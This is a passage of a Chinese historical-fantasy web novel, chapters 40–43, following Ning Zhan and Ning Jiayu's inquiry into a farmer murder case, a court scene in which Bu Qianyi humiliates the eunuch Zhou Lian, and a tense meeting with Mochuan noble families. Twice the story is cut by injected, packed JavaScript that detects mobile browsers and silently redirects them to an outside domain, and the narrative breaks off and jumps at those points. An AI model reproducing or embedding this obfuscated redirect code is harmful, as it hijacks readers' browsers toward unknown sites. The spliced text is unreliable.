通察人心的狐仙立马戳穿宁展：“对啊。有青哥哥盯着，步溪大理寺从不屈打成招。” “你这是什么话。”宁展有些不悦，“嘉宁大理寺就屈打成招了？” 意思嘉宁世子比不得步溪世子宽仁了？ 离了折扇的宁佳与也被满屋的熏香弄得没脾气，无心与人接着吵嘴。 她猛晃几下脑袋，振作道：“那铜盒里的翎羽，瞧着像用剪子修下来的。故而干净齐整，不曾染血。” “你询问楚珂时，她那反应认了香樟树正是卫子昀为她而栽。二人似乎确如承仁君所言，”宁展犹豫道，“是友非敌......” 宁佳与颔首称是：“且楚珂尤其信任卫子昀。银喉长尾山雀身形娇小，单凭两只脚跑得极慢，如自断翎羽，连飞的优势也没了。她当初那般负伤，按说不会想再让自己处于劣势。那满满一盒子埋在香樟树下，或是卫子昀所为。” 宁展赞同宁佳与的推断，但仍有困惑：“他事事善待楚珂，又缘何修人家的翎羽？如此，岂不是令楚珂难以展翅高飞。” 宁佳与被问住了。 她深知暗阁隐士的手腕，人前披着假皮伪面埋伏上十几二十载也不足为奇。 众人口中所述的卫氏固然真假参半，兴许他杀人如草是真，老实本分亦是真。依宁佳与直觉而言，卫子昀可以是任何人，却不会是个薄情寡义之人。 40. 失神 几番纠结下，宁佳与终究还是摇头，并未将内心臆断说与宁展。 “而今楚珂姑娘太过偏执，适才的激将法对她实在不好，不可再试。不过......” 她抬手揉着视线迷蒙的双眼，慎重道。 “我们若是能见上卫子昀一面，此事或能解。” “怎么了？”瞧宁佳与越发没精打采，宁展忙将折扇递还与她，“你快扇扇。” 岂知他话音未落，宁佳与便控制不住地伏上几案，再无多余气力回应。 宁展原也头脑发沉，这会儿猛然清醒过来。 折扇虽可驱香，到底治标不治本，他早该去灭那祸害的源头才是。 宁展当即起身走向香炉，眼前却若有轻烟遮目，平日稳健的脚步现下亦然飘忽。 他踉跄伸手，胸中如野火在烧，顾不得那么多，索性将虚影重重的铜炉顶盖掀翻在地，再抬掌朝着熏香狠狠碾下。 “呲”一声，烟焰毫无保留灭于宁展掌心。 少顷，香泽袅袅的铜炉重归冷寂。 他按揉眉心，接着走向两侧窗扉，不停挥开残余的气息，还不忘开口唤酣眠似的宁佳与。 “小与，小与姑娘？你站起来——” 宁展蓦地将两窗往外推，星流银河，浪辉飞溅。他像极不解风情的死脑筋，步履匆匆，赶回案前。 “醒醒气儿啊。” 不知宁佳与听没听清那几声略显慌忙的招唤，双眸依旧木然，好歹是睁了眼。 宁展尚未坐稳，便捡扇给她吹凉：“小与？好些了？” 宁佳与意识模糊地抬头。 “我是谁？”宁展轻声问。 宁佳与对上目不转睛的宁展，犹豫道：“元......” 宁展屏息。 “公子？” 宁展动作一顿，扇子慢了，微风温和。 两人自不打不相识后，便明里暗里斗个没完，或吵嘴争舌，或拿刀动杖，和睦共处的时候屈指可数。如是消停下来，不定又在各自盘算什么应付对方的损语阴招。 此间，二人齐身并坐，难得安恬。 无奈美景总不长。 宁佳与仿若灵魂归位，“噌”一下从座上弹起，随之两腿膝骨撞得桌案砰响。她好比痛觉全无，只满眼惊疑望着宁展。 “你......元公子这是在做什么？” 宁展被她过于夸张的反应吓一跳，迟钝地挥了挥扇面，道：“......给你散那熏香，若不然，如何让你醒过神来？” 宁佳与磕磕巴巴半晌，方才编出一句利索话：“元公子贵为王储，在下一介草民，这怎么使得？” 素来恨不能烧房揭瓦的人忽然同他讲起了尊卑有别，宁展心中好笑。 他越想越乐，但刻意压着唇角，故作正经：“草民？你不是江湖女侠吗。再者，我一向亲民，给你扇扇凉罢了，有何不妥？” 宁佳与扶着把手缓缓落座，惊魂未定地捋着脸颊碎发，嘴里不停念叨：“不妥不妥，不妥......” 可她道不出究竟哪处不妥，光顾着躲宁展的目光趴回桌案。那绯面的折扇早被她顺手夺了回去，正和主子一并关门谢客。 不得不说，宁佳与做起戏来，不容置疑的派头直逼嘉宁这位经验颇丰的假面世子。 即是她面上伤得梨花带雨，背地则毫无波澜地盘算着如何将人一击斩于马下。纵使宁展看惯了诸多把戏，也要服她厉害。 是以如今这模样，委实不可多得。 吃了闭门羹的宁展并不恼，甚至放下自个儿端了好些年的架子，托腮抵案，饶有兴味地琢磨着：“小与。我日后便如此唤你，好不好？” 宁佳与哪儿敢吭声，一动不动闷在桌上。 她无动于衷，宁展却笑意更深，借着四下无人，厚颜道：“小与，你不理我，我便当你应下了。” 宁佳与大气都不出了，整个僵着装死。 宁展好容易等到宁佳与词穷理尽这天，怎能轻易遂了她的愿？ 他边整理手边纸张，边不紧不慢道：“小与啊，小与？小——” 幼稚！ 宁佳与受不住他催命般的咒语，硬着头皮直起身，幽幽道：“元公子，您这是干什么？” 她抹了把脸上空空的两行虚泪，试图为自己申冤：“是，民女此前骗了您，也确实想过行刺之事。可你我萍水相逢，挨着前后两件大事，也算同甘共苦的伙伴了。您何苦如此为难我呢......” 宁展深思片刻，十分确信道：“可我并无为难你的意思。” 宁佳与坐立不安地拨弄着扇骨，似是语重心长：“元公子，您的好意，在下心领了。尊卑有别，恕我无法应承。” 她如此疏离，宁展有些纳闷：“你我既是同甘共苦的伙伴，我不过想与伙伴亲近些，又何须顾及尊卑之说。莫非王储便不能结交知己好友吗？” “元公子误会了。如今七州动荡未定，您重担在肩，还是莫要轻信旁人的好。”宁佳与道，“包括我。” 宁展全然不中宁佳与顾左右而言他的圈套，不服道：“你是旁人，我是旁人，那步千弈便不是旁人？他也是王储，为何他能与你相亲相近，偏我不成？” “我同青哥哥自小玩在一处，他以及听雪阁众同窗皆是我半个家人。我与元公子则不过数月之交，”宁佳与略显无奈，“这如何能相比？” 宁展冷嗤一声，怪腔怪调地效仿陈夫人：“你是不是想说，你与步千弈青梅竹马，羡煞旁人？” 眼瞧嘉宁世子几欲将君子之貌抛诸脑后，宁佳与哭笑不得：“殿下，您这是怎么了？” 耳闻“殿下”，宁展意识到自己不知不觉失了仪态。他重新摆好架子，即是昂首挺胸，儒雅收手，总归不再“小与小与”地要与人亲近了。 虽说二人相对无言，宁展却毫不避讳地看着宁佳与。他拳心朝下，贴膝而握，像在给自己无声鼓劲，亦像是暗暗筹谋着什么。 子正一刻。 文房烛残，暗焰携风跳跃，花影团枝簇叶，交错附上两人逐渐朦胧的面容。 月色贴着窗棂，若即若离，尤甚暧昧。 宁展深深吸气，终于道：“小与，我想问你一件事。” 宁佳与不由凝神，下意识攥住扇柄，紧张得忽视了那声被她百般推辞的称谓。 “你说。”她沙哑道。 “你......”宁展言犹未止，却兀自阖上了眼。不待几许，他郑重地问：“你们步溪，吃人吗。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14679246|156870||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ......吃什么？ 趁着宁展阖眸，宁佳与早在心里将腹稿打好了满满几页，一应皆是劝嘉宁世子“迷途知返”的婉言。 可这算什么？ 无异于她一脚踏出去，说话就要遁入空门谢绝世俗了，宁展却只问她用的什么斋饭！ 宁佳与被宁展无厘头的问题惹得心猿意马。 一会儿觉着自己费尽心思的准备被歹人负了，一会儿暗骂自己越发接近口头所称的狭隘庶民。 身为王储，以世态民情为重理所应当，而她竟觉得人家满脑子儿女情长，还自以为是施教于人，简直丢脸丢到七州境外去了...... 宁佳与平定面色，同样严正道：“元公子，名家有云——人心中的成见是一座大山......” 得到答复的宁展并未舒颜，不放弃道：“真不吃吗？” 宁佳与始料未及，宁展这话茬比她此刻的头皮还硬。 她决计回敬，漫不经心道：“元公子如何确定，步溪吃的，便一定是人呢？” 宁展听出宁佳与在讲瞎话报复他，适巧文房的烛火也对她偏听偏从，在她故作骇人的言语间赫然收光。 刹那，二人眼前俱是大片漆黑，仅剩零碎月华落在宁佳与可怖的唇角。 此情此景，若换了景二殿下来，怕难免杀出一阵响彻全城的嘶嚎。 但比这骇人数倍的场面宁展都不以为奇，更则不信鬼神传说。是以，他不但不吃宁佳与这套，反觉着那抹转瞬即逝的诡笑煞是可爱。 宁展架子没端稳，因着这喜人的诡笑破了功。 周遭昏暗，宁佳与没法看清宁展背光的神情，自无法辨别此笑意欲何为，只得好心提醒：“元公子，子时已过，留给你的时辰不多了。早些歇息罢，今日还得上阵对敌呢。” 宁展拿不准宁佳与这番话是否带着关切之意，可听来心绪大好，俨如大战在即也无所畏忌。 他笑靥难掩，却平和道：“多谢小与关心。我今夜歇在此处，待早晨寺卿大人上衙，也好给他个交代。你便先与白公子回家，可好？” 宁佳与稍作思忖，摇了摇头。 “距会面左右不过三、四个时辰，回听雪阁，反倒折腾。我就歇在外头的篷车，元公子若是有了旁的头绪，可及时寻我进来商讨。” 宁展闻言身形一滞。 他本以为宁佳与劳心劳力和他同去集镇、共商凶案，权因着她说与步千弈那句“对楚珂有些在意”。 而今想想，她果真对素昧平生的楚珂在意至此吗？ 但此际不是掂量这事儿的时候，宁展亦分不出多余的精力深究。他向宁佳与道了谢，两人颔首暂别。 宁展扶着脑袋静心，后重新点上灯烛，铺平布了满桌的供词和问司狱借来的白纸，提笔埋头。 - 初夏，日头随着沿街赴朝的廷臣们起得愈发早。 卯正二刻，天光大亮。 步溪宫中，金銮圣殿跪倒一片，均是为农夫斗杀案各执所见的文官，个个毕恭毕敬端着笏板，嘴上则叽里呱啦争不休。 座上，微王捏着奏疏，苦恼非常。 步长微作为七州境内首屈一指的和事佬，此生最大的夙愿便是众生平等、天下融融。 41. 早朝 若非心余力绌，他又怎会对面前打满堂的嘴仗袖手旁观？步长微只怪自己未习得分身之术，否则定要为众卿变出上百个一模一样的自己来劝架。 如此景况，近身伺候的大内总管周连自要念着为主子分忧解难。 周连乃步溪三朝老宦，亦是如今动动手指便能撑起内侍省[1]一片天的得力之才，甚得君心。 多数政绩平平的官吏还须托周连开口，方能在君王那头递上只言片语，故而尊其一声“大公公”。 也有个别言官看不惯这位狗仗人势的阉宦，奈何几位的折子都参上天了，步长微仍当他们是小打小闹，全无拿掉周连的意思。 不多时，周连为步长微请来了镇殿救兵。 下边儿跪的哪个不是朝堂老油子？ 别看嘴上忙得口角生风，眼神却是锐利如鹰，好使得很。只悄悄一瞥，便二个推搡三个地提醒，同僚前脚还长话难止，后脚已速速噤声。 置身事外般的武将并非对此案漠不关心，盖因他们本就是日夜翻滚在校场上的猛汉，嘴皮子当然不如文官耍得溜。 倘因争执输了气势、失了威严，来日演兵练卒时，如何服众？ 军营由微王亲自巡察，以暴制暴是万万不能的。 是以为防得不偿失，步州军从上到下都不爱言语。 少说多做，哪怕还是出了错，微王依旧可以体恤。即如周连劳苦功高，被言官指着鼻子挑错也不影响其在宫中的权位。 然众武将余光瞥见高堂那位来者，毅然融入了文官齐齐拜倒的队伍。 步长微正闭目忧思，堂中遽然清净，心里不免庆幸自己的脑仁终于不疼了。 他本欲引手大赞爱卿理智，一抬眼便瞧着了步千弈，他的好大儿。他这长子不但品貌、功夫样样绝佳，又足智多谋、深孚众望，让人越看越高兴。 论美中不足，便是步千弈脚步轻得跟鬼魂游街似的，且一言不合就要让做爹的见识见识这本事，好几回险些给年近半百的步长微吓出心病。 得亏步长微日渐习惯了儿子异于常人的露面方式，时下方能对头顶身高八尺的人影置之一笑。 “千弈，今日怎的得闲早朝？” 其实不论空闲与否，步千弈都极少入宫议政。步长微此话，是问与满朝文武听。 步长微深知步千弈不喜出头露面，早前便替他免了许多可大可小的外廷之事。 而他今日不仅上朝，待会儿还要代步溪出席三大州会面。两桩古怪恰在一齐，步长微难免有些讶异。 步千弈尚未回话，无声扫视底下磕头礼拜的百官，静待金銮圣殿彻底归于阒然。 周连虽垂首默立步千弈身后，却能及时会意步长微投来的目光。 他碎步挪至步长微旁侧，掐着仅此处三人得以入耳的声量，叹道：“陛下有所不知，世子殿下心系前朝，对您更是挂心不已。今个儿是为陛下解忧，亦是让大家安神来啦。” 不待步长微欣慰半刻，步千弈缓缓侧首，睨着周连，淡然放声：“本世子如何行事，要你一个阉人多嘴置喙？” 步千弈从不在意自己在外名声如何，自不必如周连那般拘着。 满朝皆知步千弈对周连颇有成见，先前因着步长微，尚留其三分薄面。如今威厉一斥，连带震得堂中不敢出气，数百颗人头叩在绒毯上滴汗。 周连毕竟是一步步爬上来的老人，什么样的诟骂责打没有亲身挨过？早对此不知痛痒了。 他熟稔地跪下，恭敬悔过：“陛下恕罪，世子殿下恕罪。老奴年事已高、笨嘴拙舌，望世子殿下宽宥。日后，定当安分守己，谨言慎行。” 步千弈似是不领情，无视周连，转身面向洞开的殿门，道：“掌嘴。” 百官闻言失惊，步长微亦不例外。如此情状，为难的倒是那些候在殿外掌罚的下吏。 谁敢掌北司内侍监[2]的嘴？ 谁又情愿违步世子之命不从？ 诚然，步千弈自幼独行其是，惯不亲人。可对步溪臣民而言，他是明摆的好心肠。 步世子平日没少遣人四处站岗，尤其是常替他出面的那位白公子。白公子领着手下挨家挨户帮衬，诸般杂事，小至偷鸡摸狗、大至含冤入狱，一应竭诚以待。 谁能料到步世子今次何故如此，竟要当众掌微王身边红人的嘴。 底下不声不响，实则有人悲酸有人喜。 庸才得了周连恩惠，为之提心吊胆；重臣看不得阉人狐假虎威，为之更景仰步千弈高大。 若是那等眼皮子浅的内侍跪在殿前，兴许真就死撑着盼恩主出手相救了，遑论是坐到周连这个位上的人。一旦有了自个儿的派头，在这些时常求他办事的小吏面前，根本丢不起脸。 众人脑内千愁万喜奔过，金鸾殿却静默不过须臾，殿上随即传开一声清响。 啪。 百官闻声手颤，但无人抬头。 啪。啪。啪—— 殿内悄寂，衬得这益发干脆的声响清晰无比。 群臣心生敬畏，暗想究竟是哪位“忠勇”当了这冲锋陷阵的头兵？ 个别埋首窥探，竟瞟见周连跪在步千弈脚边，上身几近贴地，一掌、一掌往自己脸上狠狠招呼！ 步千弈不放话，周连便不停手，步长微的脸时阴时晴。 啪！啪！啪—— 算着老宦差不离被自己扇出血了，步千弈终于说：“停。” 他眼底凉意不减，不屑去瞥磕头叩恩的周连，略显厌恶道：“既知年事已高，该将你的贼鼠尾巴夹紧。” 不知处于什么考虑，步千弈把后边那句“少出来丢人现眼”收了回去。 “父王，儿臣给您请安。”他转向步长微，颔首道，而后原地站定，丝毫没有要走的意思。 左右一盏茶的工夫，众臣心中大起大落，让人一时不知是期望步世子上朝议政好，还是深居简出好。 步长微倒是对这突兀的请安十分受用，遂牵过步千弈，细细端量。总归农夫斗杀案今日是不能达成共识了，他笑着宣了退朝。 步千弈在此，兼之周连掌嘴一事，谁敢造次？俱是呼罢“万万岁”便躬身退走。 对长子，步长微宽纵归宽纵，该关心的地方一点儿没少了解。步千弈此番进宫，应不止是向他请安及出席会面这样简单。 “千弈，与父王说说，究竟出了何事？”步长微亲和道，“可是你那山庄上钱粮不足了？” 步千弈再三措辞，坚定道：“请父王为步溪做主，为儿臣做主。” 步长微极少听步千弈有求于他，不禁情急：“无论何事，你且安心道来，为父做了这个主！” “是农夫斗杀案。卫氏究竟如何，儿臣不知。但狱中那位嫌犯楚氏，”步千弈道，“绝不能受他牵连。否则墨川或将这账同算在步溪头上。” 步长微神色凝重，道：“千弈，你可有能供楚氏脱罪的实证？” “卫氏家中有一株移栽的香樟，便是墨川大家那七位闯入所毁，左邻右舍皆是人证，白歌已将新 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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他拾起地上从头到尾被步千弈踩作垫脚的拂尘，缓缓起身。 步溪宫门大敞。 两位衣紫腰金的阔老爷在门前恭候多时，其余五位大腹便便的则完全耐不住性子，但也没胆在大州王宫门下造次，只将几个新添的仆役揪到边上撒气。 侍卫领了步千弈的吩咐等在此处，对粗鄙无礼之辈视而不见，心道让他们实打实晒上几天，去了晦气才好，免得污损步世子苦心重塑的朴雅之风。 白歌驱车将至门下，迎面见一位蜂目豺声、一位鹰鼻鹞眼的中年男人立着东张西望，嘴里翻来覆去地小声念叨“该死、真该死”。 他漠然一勒绳，绕了两人过去。 侍卫首领打眼瞧着白歌，不必使唤手下查验腰牌，径直迎上前道：“白公子，您可来了。快请罢，殿下在向阳堂等着呢。” 白歌不解道：“向阳堂？” 那可不是什么好去处。 “属下不会记错，就是向阳堂。”侍卫首领笃定道。 他知道车里坐着位贵人，不能催促，却巴不得替白歌猛抽马鞭把车往里赶，唯恐步世子久等。 白歌看出他的急迫，遂不再多言。 哪想他马鞭未及挥起，不远处那几个肥头大耳的跑了来。仆役屁颠颠紧跟，又不敢真的随着闯宫，只好顿在门外，瞪眼看新东家不要脑袋似的往前冲。 42. 心思 其中一位老爷早被侍卫晾得不忿，上来就要戳首领的眼珠大呵：“你小子有没有眼力见儿啊！放着咱们墨川大家不闻不问，倒让这毛头小儿驾着马车往里头进。活了大半辈子，老子没见过哪个大州这么没规矩，也就你们——” 也就你们步溪，兽性难移、野调无腔！ 诸如此类的话，宁佳与从七岁听到十七岁，做梦都能倒背如流。 为免侍卫与墨川大家动武平添麻烦，她掀起窗幔，打断道：“怎么回事？” 不待旁人应答，另一位老爷更是不怕死，嘬着腮道：“咿哟嗬，我道如何呢。原是往上边献美人儿的马车啊，无怪能畅通无阻哦！” 谁想宁佳与开口一拦反而完蛋。 左右数名侍卫齐齐亮刃，首领则出剑直指至那老爷腹部半寸之外。白歌还嫌不够乱，也将寒芒横于其人颈间，令之冷汗直流、动弹不得。 “大胆！”首领厉声道，“步溪世子妃岂容你信口胡诌？我看你不想活了！” 其余几位老爷惊得连连退步，仆役们更是“扑通”跪磕疙疙瘩瘩的地砖。 话音未落，宁展坐在宁佳与对面嗤笑。 宁佳与遮严窗幔，轻声对外道：“白歌，我们先走，别惹事。” 白歌麻利收回长剑，目光亦然阴沉。也就是他，方才接得住宁佳与轻飘飘的一声劝。 首领不明所以，可白公子都二话不说罢了手，哪里还有他呼喝的份儿？他收剑抬掌，左右悻悻遵从。 家中视若至宝的子孙毕竟落得个惨死他乡的下场，七位老爷提着几两碎胆而来，既然闹到了步溪王宫，难道还怕什么吗？ 有墨川撑腰，步溪世子尚能压他们一头，世子妃算个屁！相互间眼神一对，直截伸手去扒听雪篷车。 白歌将郁气悉数挥入马鞭，骤然疾驰，任由后边的大肚子扑空，摔得四仰八叉。 好在，周连碾着碎步赶来，忙招呼众内侍把叫苦连天的几位大爷扶起。 侍卫首领见状满脸不爽，昂首正了腰带，领着手下扬长离去，烂摊子自然丢给“精明能干”的周大公公。 白歌再度将篷车驱得骨腾肉飞，舆内这二位业已司空见惯。 宁佳与随意往嘴里放了颗含桃，却没咬下去。 瞧她这副别扭模样，宁展更觉好笑，原本紧绷的思绪跟着活络了些。 “世子妃？”他打趣道，“谁给你定的娃娃亲。” 宁展明知此事八字不见一撇，偏要跟着旁人犯贫，幼稚又讨打。宁佳与两眼一翻，似是自嘲：“我这六七岁没了爹娘的，上哪儿定娃娃亲？” 宁展吃多了她楚楚惹怜的老一套，不如当初在宁府时那么好糊弄了。 他微微眯眼，猜测道：“莫非又是你师父拍的板？他老人家还真是爱和晚辈作对啊。” 宁佳与听得云里雾里，先替师父申辩：“行刺乃我一人作为，与师父无关。” 她嚼碎嘴里的含桃，再狐疑：“况且，定在下的亲，与元公子何干？” 宁展笑微微地与她绕起了弯子，故弄玄虚：“待鄙人改日登门拜访你师父，便知此事与我何干了。” 他忽然留意到宁佳与腰间别着个极眼熟的册子，恍然问：“对了，景兄怎的没追来？” 今日这场硬仗，或能让求知若渴的景以承领略诸多前所未闻之况，他竟舍得不来？ 宁佳与笑得无奈，抽出小册及狼毫朝宁展挥了挥。 “喏，介（这）也算来惹（了）罢？” 她含着果核，有些口齿不清。 “景公止（子）好歹是以氏入室门生，是个聪明银（人）。但今日之事，还是别把他牵扯进来好。” 调侃之色褪去，宁展发自内心地笑了。 “我原也没将景兄当作蠢人。” 宁佳与隐约能够想到宁展应允景以承随同南行的缘由，并不接着这话茬，自说自话：“早些时候，青哥哥来大理寺寻我，我便将你我的所想所得大致说与他了。” 宁展不禁挑眉，道：“那你怕是白费口舌了，他又不会帮我。” “未必。” 宁佳与其实不理解，眼下显然是两位世子合作共赢的大好时候，她一介远庙堂之人都明白，那两位能不明白？ 如此针锋相对可说毫无意义，还保不准让旁人捡了便宜。 宁展没应声，置之一笑。窗幔飞动，他侧首赏景，顺带观察车马的行进线路。 白歌快马加鞭，没多会儿便到了向阳堂前。 这里近金銮殿。宁展思忖着，率先拨帘落车，正要回身搭扶宁佳与一把，白歌眼疾手快，动作恭敬但力道强硬，挡下了他。 步千弈自堂内走出，向宁展揖手。宁展只好先接他的礼，再转眼，宁佳与趁这工夫蹦了下来。 一主一从配合得严丝合缝，无怪步溪到处有人认识出身无名的白歌，甚至尊他一声“公子”。 按宁佳与的习气，除了永清境内，出门难免被指摘没规矩。 步千弈却不当回事，亦未曾将那三句箴言搬至宁佳与面前说道。 他引手虚掺着人，柔声问：“宫里不比外头自在，这地砖滑脚罢？雨妹妹喜欢什么砖，回头我......” 宁展尚未回神，步千弈便领着宁佳与入内落了座，适才对他执的礼简直形同虚设。 近些年，外头并不乏“步世子与微王父子离心”的说法。传言虽少，但看来不是空穴来风。 若让多方王室瞧见步世子对外州客人不敬，步长微端了二十余载的水，便要由他的好儿子亲手打翻。 白歌还算有分寸，拱手邀宁展登堂上座。 宁展稍稍颔首，随着白歌步入向阳堂。 此处依旧是个不设主位，席位由两侧排开的会客之地。 白歌引他行至前方，最终停在与步千弈正面相对的软座。 这般安排，二位世子再掐起架倒是无须隔着个宁佳与了。 那心眼比狼毛还多的狗果然用含桃冰酪将宁佳与“拴”在身边。宁展咬牙腹诽。 他堪堪掀袍坐定，便被座上松如无骨的软垫裹了个措手不及。若非上身时时绷着股劲儿，他定要被这暗器似的东西摆一道。 宁展若无其事地整衣敛容，余光打量着这座比之“暗器”更为别致的向阳堂。 倘向阳堂建于墨川宫中，那必然是处嵌尽珠玉、耀眼争光的地界。墨珩固然瑰宝环身，却极其厌弃此等庸俗掉价的卖弄方式，奈何其生父齐王偏爱如此。 步溪与墨川大相径庭。 上到王室，下到百姓，多是些实在的主儿。 因而这向阳堂顾名思义，正是四面八方迎着阳光的大堂，唯有各个拐角处顶着粗壮的红漆支柱。 座席顶上镂空一片，教人抬头即见浮云朵朵，环顾能赏花丛簇簇。 宁展转念有感，平日那些中看不中用的金椅银座，不见得比这“暗器”舒服。 且两 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大肚子拢着锦袍，撑地而起。快步入席时，几人仍不敢直视步千弈，眼中对宁展的恨意却是有增无减。 周连正要说话，双膝及脸颊的痛感迟迟未散，于是弓着身子，隐退堂侧。 白歌替了周连的活计，客气道：“诸位面前的鲜果冰酪，是步世子专程备下的点心。大家不必拘礼，随心享用。” 老爷们总算见着较为满意的待遇，连方才出剑要砍自己脑袋的人也没认出，即破颜而笑，不停拱手称谢。 “多谢款待。” “多谢步世子。” “劳步世子费心了。” ...... 宁展不着痕迹地瞥对他另眼相看的七个中年男子，心中莫名浮起不适感。但他今日是为说和而来，即便有散不尽的烦躁堵着他，也得收好了。 步千弈始终无言，宁展只能耐着性子等七人品尝点心。 堂中最后一只玉勺落定碗中，宁展终于谦恭长揖，和善道：“烦请诸位，容宁某今日自白一二。” 七位老爷看宁展姿态如此，心中底气十足。 刘氏在宫门下言语轻贱，这会儿瞧侍卫所谓的世子妃当真挨着步千弈，未及后怕，便被步千弈身后的白歌一记眼刀刺得直缩脖颈。 徐氏先前指着侍卫首领破口大骂，瞟见往日最是嚣张的刘氏畏首畏尾，以为这老匹夫怂了胆。 他们好歹是当今墨川有头有脸的世家大族，让这么个小屁孩一句话唬住，往后还有脸见人？ 徐氏忙清嗓子，腔调高傲：“宁世子请讲。” “日前之事，权因鄙人治理无方、体恤不足。铸成此等大错，实非吾辈所愿。宁某自知多说无益，望诸位及亲朋可以节哀。” 宁展肃然长拜。 “七位公子及若干家丁丧葬事宜，还请诸位准许嘉宁尽力承当。不求以微不足道之举得天下原宥，谨以丹诚告罪，如能告慰亡灵，即是嘉宁之幸。” 刘氏平日仗着其女——秀婕妤在宫中荣宠不断，自视极高。 眼看自家嫡子的富贵命被宁展三言两语带过，火气冲得他脸红筋暴。 “不可理喻！我儿年富力强，吾王亦对他赞不绝口，前途没人说不好的！宁世子从来要风得风、要雨得雨，就准备拿这几个棺材子儿将墨川栋梁之器的命打发了？！” 43. 毒焰 刘氏一族本是墨川贱籍。 嘉墨十三年，刘老汉为博出头，紧着墨川自新王即位后王宫从上到下连年处于大换血的形势，押上几代人的家底，给子女买来入宫为奴为婢的名目。 哪知他这小儿子情愿饿死在外头也不进宫给人使唤，而入宫的子女既没银子打点上峰，又没个清白的家世作靠山，在里头没几年便死的死、残的残。 唯有刘氏行五的庶女混出了名堂，凭一身曼妙的舞姿从浣衣局跳到寝殿，往后步步登高。 齐王把刘五连带其家族地位一并提上来，成就如今的墨川刘氏。 赶赴步溪途中，宁展便吩咐青竹阁搜罗了许多关乎七位死者家族背景的消息，故对刘氏此际的嚣张不甚诧异。 宁展面露愧歉，谦顺道：“刘老伯说得极是。宁某罪孽深重，理应即日启程去往墨川，向舅父与婕妤娘娘当面谢罪，听凭舅父发落。” 他这话惬心贵当，却无疑是将那口不仁不义的大锅甩给了刘氏。 倘嘉宁世子因治理无方被墨川齐王越权降罪，刘氏非但是离间这舅甥亲情的现世恶棍，更是挑起嘉宁、墨川正面矛盾，甚至于两州二次大战的乱臣贼子。 刘氏再蠢也不敢真让这位跟着自己回墨川，由此牵累秀婕妤，怕不再是多掉几个脑袋就能解决的事。如惹得嘉宁善王侧目，他全族都得下去陪小儿。 他郁愤扭头，朝着一旁的徐氏使劲挤眼色。 徐氏心道贱民出身就是不成气候，不再理会刘氏，起身作揖。 “宁世子，我等此来，只为商讨出个大伙儿都能称心的结果，何须惊动齐王陛下呢？”他漫不经心地放了手，自以为计：“这凶犯虽为嘉宁人氏，但宁世子治下究竟铸何错、告何罪，也不是咱们几个可以评判。今日，定下那农夫的罪，才是正事！” 边上几个大肚子被徐氏引得激奋，闻言纷纷附和。 “说得对，咱们做父母的，要的就是为孩子讨个公道！” “养了十几年的孩子，说没就没，换谁能轻易揭过？” “吾儿年华大好，何其无辜！” “那农夫逆上作乱，贼心当诛！” 席间愈发混乱，七人中独闫氏缄口未语。 步千弈纹丝不动，宁佳与托着下巴暗自观察。 宁展心下亦然从容，只觉那些唾沫星子又烫又脏，烘得他想极了冰汤凉水。 明面上，他歉意更甚，好声好气：“诸位稍安勿躁。既是来解决问题，宁某便一个一个答。” 宁展逐次转身作揖。 “首先，卫氏手段凶残，论罪该诛。可他如此行事，实出于私人恩怨，您大可斥他败坏公序、人品不堪，却不能动辄提及逆上作乱那般致使民心惶惶的不实之词。 “其次，令郎的离世让人惋惜，但令郎诸多作为，大抵谈不上无辜。七位公子偷渡步溪城、合伙强闯卫氏民居云云，证据确凿，步世子也亲眼所见。 “最后，徐老伯言之有理，宁某的罪，须由父王亲自定夺才是。且无论父王如何裁决，鄙人自愿向父王请褫世子之位。请罪的折子，已快马送往嘉宁，不日便会昭告七州。” 宁展终于收手，平和道：“诸位，这个结果，可还称心？” 席间陷入沉寂，落汗有声。 步千弈难得和宁佳与齐齐看向宁展。 步千弈自是感慨，此人真可谓诡计多端。 将“偷渡”与“强闯民居”并论，末了再点出他是证人，却不曾言明究竟是哪件事的证人。更是料定了有宁佳与在，他决计不会驳回宁佳与今晨亲口转告他的若干理据。 依浑水和烂泥，糊得七位大老爷无处着嘴。 宁佳与则是直觉古怪。 她明白宁展今日要拼力保下卫子昀一条命，却不想他情愿为饵，把那硕可吞人的狮子开口往自己身上引。 宁展及其母族在嘉宁宫中本就备受针对，没人比他更清楚世子之位得来何其不易。 眼看南行大业步入正轨，且势头正盛，他却在这时候请罪，退列少君之席。如此，保不齐舍去王储还不算完，待褫位因由昭告天下，他苦心经营十余载的英名恐难悉数挽回。 宁佳与不认为宁展会是自甘倒退之人。 老爷们被宁展隐隐的狠劲吓了一跳。 七州境内，谁人不知权贵中当属宁善、宁展父子二人最好相与？ 他们来时光顾着合计如何应对步千弈这块冷骨头，孰料冷骨头一言不发，以往令人如沐春风的救世菩萨成了从未见过的拦路猛禽。 家主一个推一个，到头将猎杀野兽的担子抛向了素来胆怯的闫氏。 闫氏在家行二，前些年闫老大故去后，方轮到他掌家。 可他一直都是家里负责吃喝玩乐的闲人，原就玩不过其余几位做生意、拉人脉类同打劫似的老爷，哪有本事对付宁展那等于他望尘莫及的人物？ 闫老二想着大哥临去前交代自己“身正不怕影子斜”，瑟瑟探问道：“但......宁世子您说了这么些，那凶犯如何处置，您还没给咱们个准信儿呢......” 他一提，六人醉梦初醒。 徐氏赶紧就棍打腿：“对啊！适才说卫氏论罪该诛，莫非到头来，宁世子还要护其减刑不成？” 虽然宁展做好了被墨川追究到底的准备，但这七位身上多了些在这向阳堂内不该有的胆气。 显然有人给他们撑腰。 那人要置于卫子昀于死地，更要令宁展深堕泥沼、仁义难全。 这般境地，他也有把握保住卫子昀。 宁展面色不改，谨慎道：“诸位的意思，是要判卫氏秋后问斩？” “斩立决！” 